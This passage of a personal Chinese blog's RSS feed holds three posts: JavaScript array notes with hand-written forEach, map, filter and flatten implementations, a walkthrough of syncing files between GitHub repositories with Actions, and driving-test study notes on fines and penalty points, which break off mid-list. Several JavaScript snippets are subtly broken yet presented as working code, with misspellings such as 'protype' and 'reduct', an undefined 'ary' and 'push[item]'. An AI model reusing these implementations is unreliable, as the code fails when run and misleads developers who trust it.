<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">protype</span><span class="p">.</span><span class="nx">forEach</span> <span class="o">=</span> <span class="kd">function</span><span class="p">(){</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">array</span> <span class="o">=</span> <span class="k">this</span><span class="p">;</span> <span class="c1">// 调用 forEach 方法的数组实例
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="p">[</span><span class="nx">callbackFn</span><span class="p">,</span><span class="nx">thisArg</span><span class="p">]</span> <span class="o">=</span> <span class="p">[].</span><span class="nx">slice</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">arguments</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="k">typeof</span> <span class="nx">callbackFn</span> <span class="o">!==</span> <span class="s1">&#39;function&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">throw</span> <span class="k">new</span> <span class="nx">TypeError</span><span class="p">(</span><span class="nx">callbackFn</span> <span class="o">+</span> <span class="s1">&#39;is not a function&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">i</span> <span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">i</span><span class="o">&lt;</span><span class="nx">ary</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="nx">i</span><span class="o">++</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="nx">callbackFn</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">thisArg</span><span class="p">,</span><span class="nx">array</span><span class="p">[</span><span class="nx">i</span><span class="p">],</span><span class="nx">i</span><span class="p">,</span><span class="nx">array</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>map</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">map</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span><span class="nx">fn</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">  <span class="nx">arr</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">item</span><span class="p">,</span><span class="nx">i</span><span class="p">)=&gt;{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">res</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span> <span class="o">=</span> <span class="nx">fn</span><span class="p">(</span><span class="nx">item</span><span class="p">,</span><span class="nx">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><ul>
<li>filter</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">filter</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span><span class="nx">fn</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">res</span> <span class="o">=</span><span class="p">[];</span>
</span></span><span class="line"><span class="cl">  <span class="nx">arr</span><span class="p">.</span><span class="nx">forEach</span><span class="p">((</span><span class="nx">item</span><span class="p">,</span><span class="nx">i</span><span class="p">)=&gt;{</span>
</span></span><span class="line"><span class="cl">    <span class="kr">const</span> <span class="nx">isOk</span> <span class="o">=</span> <span class="nx">fn</span><span class="p">(</span><span class="nx">item</span><span class="p">,</span><span class="nx">i</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="nx">isOk</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">      <span class="nx">res</span><span class="p">.</span><span class="nx">push</span><span class="p">[</span><span class="nx">item</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">})</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">res</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><hr>
<h2 id="数组去重">数组去重</h2>
<h3 id="set">set</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="k">new</span> <span class="nx">Set</span><span class="p">(</span><span class="nx">arr</span><span class="p">))</span>
</span></span></code></pre></div><h3 id="reduce-1">reduce()</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">myArray</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;b&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;b&#34;</span><span class="p">,</span> <span class="s2">&#34;c&#34;</span><span class="p">,</span> <span class="s2">&#34;e&#34;</span><span class="p">,</span> <span class="s2">&#34;e&#34;</span><span class="p">,</span> <span class="s2">&#34;c&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">myArrayWithNoDuplicates</span> <span class="o">=</span> <span class="nx">myArray</span><span class="p">.</span><span class="nx">reduce</span><span class="p">((</span><span class="nx">accumulator</span><span class="p">,</span> <span class="nx">currentValue</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">accumulator</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">currentValue</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">[...</span><span class="nx">accumulator</span><span class="p">,</span> <span class="nx">currentValue</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nx">accumulator</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[]);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">myArrayWithNoDuplicates</span><span class="p">);</span>
</span></span></code></pre></div><h3 id="参考-2">参考</h3>
<ul>
<li><a href="https://segmentfault.com/a/1190000016418021"  target="_blank" rel="noopener" >JavaScript 数组去重的方法（12 种方法，史上最全） - 前端开发随笔 - SegmentFault 思否</a></li>
</ul>
<hr>
<h2 id="常用api">常用API</h2>
<h3 id="slice">slice</h3>
<ul>
<li>语法: <code>slice(start, end)</code></li>
<li>返回一个新的数组对象，这一对象是一个由 start 和 end 决定的原数组的浅拷贝（包括 start，不包括 end），其中 start 和 end 代表了数组元素的索引</li>
<li>原始数组不会被改变。</li>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice"  target="_blank" rel="noopener" >Array.prototype.slice() - JavaScript | MDN</a></li>
</ul>
<h3 id="flatten">flatten</h3>
<ul>
<li>实现
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">myFlatten</span><span class="p">(</span><span class="nx">arr</span><span class="p">,</span><span class="nx">depth</span><span class="o">=</span><span class="mi">1</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span><span class="p">(</span><span class="nx">depth</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">reduct</span><span class="p">((</span><span class="nx">pre</span><span class="p">,</span><span class="nx">cur</span><span class="p">)=&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="nx">pre</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">Array</span><span class="p">.</span><span class="nx">isArray</span><span class="p">(</span><span class="nx">cur</span><span class="p">)</span><span class="o">?</span><span class="nx">myFlatten</span><span class="p">(</span><span class="nx">cur</span><span class="p">,</span><span class="nx">depth</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">:</span><span class="nx">cur</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">slice</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>参考: <a href="https://juejin.cn/post/7084855668233994276"  target="_blank" rel="noopener" >ES6 flat 与数组扁平化前言   flat 用于将多维数组拉平（扁平化），不影响原数组，返回新的数组。   仅有一 - 掘金</a></li>
</ul>
<h3 id="shift与pop">shift与pop</h3>
<ul>
<li>shift：从数组中删除<strong>第一个</strong>元素，并返回该元素的值。此方法更改数组的长度</li>
<li>pop: 从数组中删除<strong>最后一个</strong>元素，并返回该元素的值。此方法更改数组的长度</li>
</ul>
<h3 id="indexof">indexof</h3>
<ul>
<li>
<p>语法: <code>indexOf(searchElement, fromIndex)</code></p>
</li>
<li>
<p>比较: <code>===</code>， 将 searchElement 与数组中的元素进行比较。NaN 值永远不会被比较为相等，因此当 searchElement 为 NaN 时 indexOf() 总是返回 -1</p>
</li>
<li>
<p>indexOf() 方法会跳过稀疏数组中的空槽。</p>
</li>
<li>
<p>找出指定元素出现的所有位置:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">indices</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;b&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;c&#34;</span><span class="p">,</span> <span class="s2">&#34;a&#34;</span><span class="p">,</span> <span class="s2">&#34;d&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">element</span> <span class="o">=</span> <span class="s2">&#34;a&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">idx</span> <span class="o">=</span> <span class="nx">array</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">element</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">while</span> <span class="p">(</span><span class="nx">idx</span> <span class="o">!==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">indices</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">idx</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nx">idx</span> <span class="o">=</span> <span class="nx">array</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">element</span><span class="p">,</span> <span class="nx">idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">indices</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// [0, 2, 4]
</span></span></span></code></pre></div></li>
<li>
<p>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/indexOf"  target="_blank" rel="noopener" >Array.prototype.indexOf() - JavaScript | MDN</a></p>
</li>
</ul>
<h3 id="concat">concat</h3>
<ul>
<li>语法: <code>concat(value0, value1, /* … ,*/ valueN)</code></li>
<li>如果省略了所有 valueN 参数，则 concat 会返回调用此方法的现存数组的一个浅拷贝</li>
<li>创建一个新数组。该数组将首先由调用它的对象中的元素填充。然后，对于每个参数，它的值将被连接到数组中</li>
<li>如果任何源数组是稀疏数组，concat() 方法会保留空槽</li>
<li>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/concat"  target="_blank" rel="noopener" >Array.prototype.concat() - JavaScript | MDN</a></li>
</ul>
<h3 id="reduceright">reduceRight</h3>
<ul>
<li>对累加器（accumulator）和数组的每个值（按<strong>从右到左</strong>的顺序）应用一个函数，并使其成为单个值。</li>
<li>参考: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/reduceRight"  target="_blank" rel="noopener" >Array.prototype.reduceRight() - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="参考-3">参考</h2>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from"  target="_blank" rel="noopener" >Array.from() - JavaScript | MDN</a></li>
<li><a href="https://segmentfault.com/a/1190000016418021"  target="_blank" rel="noopener" >JavaScript 数组去重的方法（12 种方法，史上最全） - 前端开发随笔 - SegmentFault 思否</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Github同步两个仓库中的文件</title>
      <link>https://ds63.eu.org/2024/sync-specific-files-of-two-repo/</link>
      <pubDate>Sun, 04 Feb 2024 16:03:44 +0000</pubDate>
      
      <guid>https://ds63.eu.org/2024/sync-specific-files-of-two-repo/</guid>
      <description>聪明的程序员也是懒程序员</description>
      <content:encoded><![CDATA[<h2 id="需求">需求</h2>
<p>我在Github上有两个仓库，一个是xxx，另一个是EuDs63.github.io。两个仓库中有部分文件是重复的，而这部分重复的文件，我是持续更新的。</p>
<p>以前我的操作是在xxx更新完后，再手动去更新EuDs63.github.io。但难免有时候会忘记，而且久了也觉得麻烦。</p>
<p>我计划使用action来简化我的操作，思路如下：</p>
<ol>
<li>当我向<a href="https://github.com/EuDs63/xxx"  target="_blank" rel="noopener" >EuDs63/xxx</a>push的时候，触发action，检查本次push修改的文件中是否有特定的表头。</li>
<li>如果有，那就推送给<a href="https://github.com/EuDs63/EuDs63.github.io"  target="_blank" rel="noopener" >EuDs63/EuDs63.github.io: my blog</a>。</li>
<li>这样只要我保证，我每次想新增内容的时候，都是在xxx这里先写就可以了。</li>
</ol>
<h2 id="过程">过程</h2>
<ol>
<li>使用<a href="https://github.com/marketplace/actions/changed-files"  target="_blank" rel="noopener" >Changed Files · Actions · GitHub Marketplace</a>
发现中文显示有问题，例如显示成<code>&quot;\345\260\244\351\207\214\345\215\241/\346\242\246.md&quot;</code>，查找issue和文档，未能找到解决方法,放弃。</li>
<li>网上查了下，找到的解决方法是<code>git config --global core.quotepath false</code>,确实能解决问题，但我不太能理解为什么，因为我的文件格式是utf-8，而不是<a href="https://blog.csdn.net/hanlizhong85/article/details/80642571"  target="_blank" rel="noopener" >其中</a>提到的gb2312。</li>
<li>我需要同步的文件的特征是以&quot;&mdash;&ldquo;开头，对diff得到的文件进行检查，如符合，则将相对地址写入到文件中。</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">        git diff --name-only <span class="si">${</span><span class="p">{ github.event.before </span><span class="si">}</span><span class="o">}</span> <span class="si">${</span><span class="p">{ github.event.after </span><span class="si">}</span><span class="o">}</span> &gt; changed_files.txt
</span></span><span class="line"><span class="cl">        <span class="c1"># 接下来可以使用 changed_files.txt 文件中的内容,检查是否有需要执行的文件</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> file in <span class="k">$(</span>cat changed_files.txt<span class="k">)</span><span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">          <span class="c1"># 检查头一行是否以---开头</span>
</span></span><span class="line"><span class="cl">          <span class="k">if</span> <span class="o">[[</span> <span class="k">$(</span>head -n <span class="m">1</span> <span class="nv">$file</span><span class="k">)</span> <span class="o">==</span> <span class="s2">&#34;---&#34;</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
</span></span><span class="line"><span class="cl">            <span class="nb">echo</span> <span class="s2">&#34;File </span><span class="nv">$file</span><span class="s2"> is need to sync&#34;</span>
</span></span><span class="line"><span class="cl">            <span class="c1"># 写入文件</span>
</span></span><span class="line"><span class="cl">            <span class="nb">echo</span> <span class="nv">$file</span> &gt;&gt; sync_files.txt
</span></span><span class="line"><span class="cl">          <span class="k">fi</span>
</span></span><span class="line"><span class="cl">        <span class="k">done</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;Changed files: </span><span class="k">$(</span>cat sync_files.txt<span class="k">)</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="nb">echo</span> <span class="s2">&#34;sync_files=</span><span class="k">$(</span>cat sync_files.txt<span class="k">)</span><span class="s2">&#34;</span> &gt;&gt; <span class="s2">&#34;</span><span class="nv">$GITHUB_ENV</span><span class="s2">&#34;</span>
</span></span></code></pre></div><ol start="4">
<li>
<p>找到了文件，接下来要做的就是push到另一个仓库了。其实逻辑也不复杂，但本着不造轮子的原则，我找到了<a href="https://github.com/cpina/github-action-push-to-another-repository"  target="_blank" rel="noopener" >cpina/github-action-push-to-another-repository</a>，但发现它似乎不太能支持单独的几个文件，于是找到了<a href="https://github.com/nkoppel/push-files-to-another-repository"  target="_blank" rel="noopener" >nkoppel/push-files-to-another-repository</a>。</p>
</li>
<li>
<p>发现<a href="https://github.com/nkoppel/push-files-to-another-repository"  target="_blank" rel="noopener" >nkoppel/push-files-to-another-repository</a>的文档写得不全，甚至有误，而作者似乎也不再维护。但好在代码不长，于是读源码然后自己进行修改。我主要做了两个修改：</p>
<ul>
<li>原本的代码不支持私有仓库，会报错：</li>
</ul>
<blockquote>
<p>fatal: could not read Username for &lsquo;<a href="https://github.com"  target="_blank" rel="noopener" >https://github.com</a>&rsquo;: No such device or address</p>
</blockquote>
<p>改成<code>git clone &quot;https://$API_TOKEN_GITHUB@github.com/$GITHUB_REPOSITORY.git&quot; repo</code>就好了。</p>
<ul>
<li>原本的代码不支持相对路径，我改成了</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;##### Copying contents to git repo #####&#34;</span>
</span></span><span class="line"><span class="cl">mkdir -p <span class="s2">&#34;</span><span class="nv">$CLONE_DIRECTORY</span><span class="s2">/</span><span class="nv">$DESTINATION_DIRECTORY</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> file in <span class="nv">$SOURCE_FILES</span><span class="p">;</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 获取文件的相对路径</span>
</span></span><span class="line"><span class="cl">    <span class="nv">relative_path</span><span class="o">=</span><span class="k">$(</span>dirname <span class="s2">&#34;</span><span class="nv">$file</span><span class="s2">&#34;</span><span class="k">)</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 创建相应的目录结构</span>
</span></span><span class="line"><span class="cl">    mkdir -p <span class="s2">&#34;</span><span class="nv">$CLONE_DIRECTORY</span><span class="s2">/</span><span class="nv">$DESTINATION_DIRECTORY</span><span class="s2">/</span><span class="nv">$relative_path</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># 复制文件，保留相对路径</span>
</span></span><span class="line"><span class="cl">    cp -rvf <span class="s2">&#34;</span><span class="nv">$file</span><span class="s2">&#34;</span> <span class="s2">&#34;</span><span class="nv">$CLONE_DIRECTORY</span><span class="s2">/</span><span class="nv">$DESTINATION_DIRECTORY</span><span class="s2">/</span><span class="nv">$relative_path</span><span class="s2">/&#34;</span>
</span></span><span class="line"><span class="cl"><span class="k">done</span>
</span></span><span class="line"><span class="cl"><span class="nb">cd</span> <span class="s2">&#34;</span><span class="nv">$CLONE_DIRECTORY</span><span class="s2">&#34;</span>
</span></span></code></pre></div></li>
</ol>
<h2 id="碎碎念">碎碎念</h2>
<p>这个需求其实我很早就有了，实现的思路也很清晰。但一直拖到了现在，而且还是踩了不少坑。写这篇的时候总是想起某位老师的“聪明的程序员也是懒程序员”，我自知并不聪明，但尽量向这个道路走去。</p>
<h2 id="2024年4月29日">2024年4月29日</h2>
<p>实际使用时经常会run failed，报错为<code>Error: Unable to process file command 'env' successfully.</code></p>
<p>查了下发现是$GITHUB_ENV的multiline strings需要一个特殊的写法，具体参考<a href="https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions#multiline-strings"  target="_blank" rel="noopener" >Workflow commands for GitHub Actions - GitHub Docs</a>。</p>
<p>于是我的解决方案是，将<a href="#%e8%bf%87%e7%a8%8b" >过程中的第五步</a>改为</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="o">{</span> <span class="nb">echo</span> <span class="s1">&#39;sync_files&lt;&lt;EOF&#39;</span><span class="p">;</span> cat sync_files.txt<span class="p">;</span> <span class="nb">echo</span> <span class="s1">&#39;EOF&#39;</span><span class="p">;</span> <span class="o">}</span> &gt;&gt; <span class="nv">$GITHUB_ENV</span>
</span></span></code></pre></div><h2 id="参考">参考</h2>
<ul>
<li><a href="https://blog.csdn.net/hanlizhong85/article/details/80642571"  target="_blank" rel="noopener" >git diff获取差异文件名显示中文乱码的解决办法_git diff获取差异文件中文乱码的解决办法-CSDN博客</a></li>
<li><a href="https://github.com/nkoppel/push-files-to-another-repository"  target="_blank" rel="noopener" >nkoppel/push-files-to-another-repository: github Action to push files into another Github repository</a></li>
<li><a href="https://github.com/tj-actions/changed-files"  target="_blank" rel="noopener" >tj-actions/changed-files: :octocat: Github action to retrieve all (added, copied, modified, deleted, renamed, type changed, unmerged, unknown) files and directories.</a></li>
<li><a href="https://docs.github.com/en/actions/using-workflows/workflow-commands-for-github-actions#environment-files"  target="_blank" rel="noopener" >Workflow commands for GitHub Actions - GitHub Docs</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>C1学习</title>
      <link>https://ds63.eu.org/2024/c1-learning/</link>
      <pubDate>Tue, 30 Jan 2024 13:05:55 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/c1-learning/</guid>
      <description>记录c1学习</description>
      <content:encoded><![CDATA[<h2 id="科目一">科目一</h2>
<h3 id="罚款">罚款</h3>
<h4 id="审验教育">审验教育</h4>
<ul>
<li>参加<strong>审验教育</strong>时在签注学习记录、学习过程中弄虚作假的： 一千元以下罚款</li>
<li>代替实际机动车驾驶人参加审验教育的： 二千元以下罚款</li>
<li>组织他人实施前两款行为之一
<ul>
<li>有违法所得的，由公安机关交通管理部门处违法所得三倍以下罚款，但最高不超过<strong>二万元</strong> <em>（注意是两万元）</em></li>
<li>没有违法所得的，由公安机关交通管理部门处二万元以下罚款。</li>
</ul>
</li>
</ul>
<h4 id="二十元以上二百元以下罚款">二十元以上二百元以下罚款：</h4>
<ol>
<li>机动车驾驶人补换领机动车驾驶证后，继续使用原机动车驾驶证的；</li>
<li>在实习期内驾驶机动车不符合第七十七条规定的；</li>
<li>持有大型客车、重型牵引挂车、城市公交车、中型客车、大型货车驾驶证的驾驶人，未按照第八十一条规定申报变更信息的。
<strong>有第一项规定情形的，由公安机关交通管理部门收回原机动车驾驶证。</strong></li>
</ol>
<h4 id="二百元以上五百元以下罚款">二百元以上五百元以下罚款：</h4>
<ol>
<li>机动车驾驶证被依法扣押、扣留或者暂扣期间，采用隐瞒、欺骗手段补领机动车驾驶证的；</li>
<li>机动车驾驶人身体条件发生变化不适合驾驶机动车，仍驾驶机动车的；</li>
<li>逾期不参加审验仍驾驶机动车的。
<em>有第一项、第二项规定情形之一的，由公安机关交通管理部门收回机动车驾驶证。</em></li>
</ol>
<h4 id="二百元以上二千元以下罚款">二百元以上二千元以下罚款：</h4>
<ol>
<li>未取得机动车驾驶证、机动车驾驶证被吊销或者机动车驾驶证被暂扣期间驾驶机动车的；</li>
<li>将机动车交由未取得机动车驾驶证或者机动车驾驶证被吊销、暂扣的人驾驶的；</li>
<li>造成交通事故后逃逸，尚不构成犯罪的；</li>
<li>机动车行驶超过规定时速百分之五十的；</li>
<li>强迫机动车驾驶人违反道路交通安全法律、法规和机动车安全驾驶要求驾驶机动车，造成交通事故，尚不构成犯罪的；</li>
<li>违反交通管制的规定强行通行，不听劝阻的；</li>
<li>故意损毁、移动、涂改交通设施，造成危害后果，尚不构成犯罪的；</li>
<li>非法拦截、扣留机动车辆，不听劝阻，造成交通严重阻塞或者较大财产损失的。<br>
<strong>有前款第二项、第四项情形之一的，可以并处吊销机动车驾驶证；</strong>
<strong>有第一项、第三项、第五项至第八项情形之一的，可以并处十五日以下拘留。</strong></li>
<li>驾驶<em>拼装的机动车或者已达到报废标准的机动车上道路行驶</em>的，公安机关交通管理部门应当予以收缴，强制报废。
对驾驶前款所列机动车上道路行驶的驾驶人，处200元以上2000元以下罚款，并<em>吊销机动车驾驶证</em>。</li>
</ol>
<h3 id="喝酒">喝酒</h3>
<ul>
<li>醉酒驾驶营运机动车的，由公安机关交通管理部门约束至酒醒，吊销机动车驾驶证，依法追究刑事责任；十年内不得重新取得机动车驾驶证，重新取得机动车驾驶证后，不得驾驶营运机动车。</li>
<li>最近三个记分周期内，机动车驾驶人因造成交通事故后逃逸，或者饮酒后驾驶机动车，或者使用伪造、变造的机动车号牌、行驶证、驾驶证、校车标牌，或者使用其他机动车号牌、行驶证，或者买分卖分受到过处罚的；</li>
</ul>
<h3 id="超速">超速</h3>
<h4 id="普车">普车</h4>
<table>
<thead>
<tr>
<th></th>
<th>普路</th>
<th>特路</th>
</tr>
</thead>
<tbody>
<tr>
<td>20%-50%</td>
<td>3</td>
<td>6</td>
</tr>
<tr>
<td>50%以上</td>
<td>6</td>
<td>12</td>
</tr>
</tbody>
</table>
<h4 id="特车">特车</h4>
<table>
<thead>
<tr>
<th></th>
<th>普路</th>
<th></th>
<th>特路</th>
</tr>
</thead>
<tbody>
<tr>
<td>10%-20%</td>
<td>1</td>
<td>20%以下</td>
<td>6</td>
</tr>
<tr>
<td>20%-50%</td>
<td>6</td>
<td>20%以上</td>
<td>12</td>
</tr>
<tr>
<td>50%以上</td>
<td>9</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
<h3 id="超载">超载</h3>
<h4 id="普车-1">普车</h4>
<table>
<thead>
<tr>
<th></th>
<th>20%-50%</th>
<th>50%-100%</th>
<th>100%以上</th>
</tr>
</thead>
<tbody>
<tr>
<td>其他（以外）</td>
<td>3</td>
<td>6</td>
<td>12</td>
</tr>
<tr>
<td>7座以上</td>
<td>6</td>
<td>9</td>
<td>12</td>
</tr>
</tbody>
</table>
<h4 id="特车-1">特车</h4>
<p>20%以下： 6分
20%以上： 12分</p>
<h4 id="驾驶载货汽车载物超过最大允许总质量">驾驶载货汽车载物超过最大允许总质量</h4>
<table>
<thead>
<tr>
<th></th>
<th>30%以下</th>
<th>30%-50%</th>
<th>50%以上</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>1</td>
<td>3</td>
<td>6</td>
</tr>
</tbody>
</table>
<h3 id="减分">减分</h3>
<p>机动车驾驶人处理完交通违法行为记录后累积记分未满12分，参加公安机关交通管理部门组织的交通安全教育并达到规定要求的，可以申请在机动车驾驶人现有累积记分分值中扣减记分。在一个记分周期内<strong>累计最高扣减6分</strong>。</p>
<h3 id="日期">日期</h3>
<ul>
<li>当事人对交通事故损害赔偿有争议，各方当事人一致<em>请求公安机关交通管理部门调解</em>的，应当在收到交通事故认定书之日起<strong>10日内</strong>提出书面调解申请。</li>
<li>发生道路交通事故后当事人未报警，在事故现场撤除后，当事人<em>又报警请求</em>公安机关交通管理部门处理的，公安机关交通管理部门应当按照本规定第十六条规定的记录内容予以记录，并在<strong>三日内作出是否接受案件的决定</strong>。</li>
</ul>
<h3 id="扣分">扣分</h3>
<h4 id="12分">12分</h4>
<ol>
<li>饮酒后驾驶机动车的；</li>
<li>造成致人<strong>轻伤以上或者死亡</strong>的交通事故后逃逸，尚不构成犯罪的；</li>
<li>使用伪造、变造的机动车号牌、行驶证、驾驶证、校车标牌或者使用其他机动车号牌、行驶证的；</li>
<li>驾驶校车、公路客运汽车、旅游客运汽车载人超过核定人数<strong>百分之二十以上</strong>，或者驾驶其他载客汽车载人超过核定人数<strong>百分之百以上</strong>的；</li>
<li>驾驶校车、中型以上载客载货汽车、危险物品运输车辆在高速公路、城市快速路上行驶超过规定时速<strong>百分之二十以上</strong>，或者驾驶其他机动车在高速公路、城市快速路上行驶超过规定时速<strong>百分之五十以上的</strong>；</li>
<li>驾驶机动车在高速公路、城市快速路上倒车、逆行、穿越中央分隔带掉头的；</li>
